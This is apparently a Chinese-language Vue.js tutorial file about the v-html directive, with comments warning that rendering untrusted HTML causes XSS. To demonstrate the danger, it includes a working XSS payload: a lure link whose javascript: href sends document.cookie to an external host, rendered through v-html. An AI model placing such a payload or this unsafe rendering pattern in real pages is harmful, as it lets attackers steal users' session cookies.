| 123456789101112131415161718192021222324252627282930313233343536373839404142434445 |
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta http-equiv="X-UA-Compatible" content="IE=edge">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>v-html指令</title>
- <!-- 引入vue -->
- <script type="text/javascript" src="../js/vue.js"></script>
- </head>
- <body>
- <!--
- v-html指令：
- 1、作用：向指定节点中渲染包含html结构的内容。
- 2、与插值语法的区别：
- （1）、v-html会替换到节点中所有的内容，{{xx}}不会。
- （2）、v-html可以识别html结构。
- 3、严重注意：v-html有安全性问题！！！
- （1）、在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
- （2）、一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！
- -->
- <!-- 准备一个容器 -->
- <div id="root">
- <div>你好，{{name}}</div>
- <div v-text="name">你好，</div>
- <div v-html="str"></div>
- <div v-html="str2"></div>
- </div>
- </body>
- <script>
- Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示
-
- new Vue({
- el: '#root',
- data: {
- name:'尚硅谷',
- str:'<h3>你好啊！</h3>',
- // 以下方式可以获取用户存储在浏览器中的cookie，被不法分子利用后，会造成严重的安全问题
- str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟，我找到你想要的资源了，快来！！</a>'
- }
- })
- </script>
- </html>
|
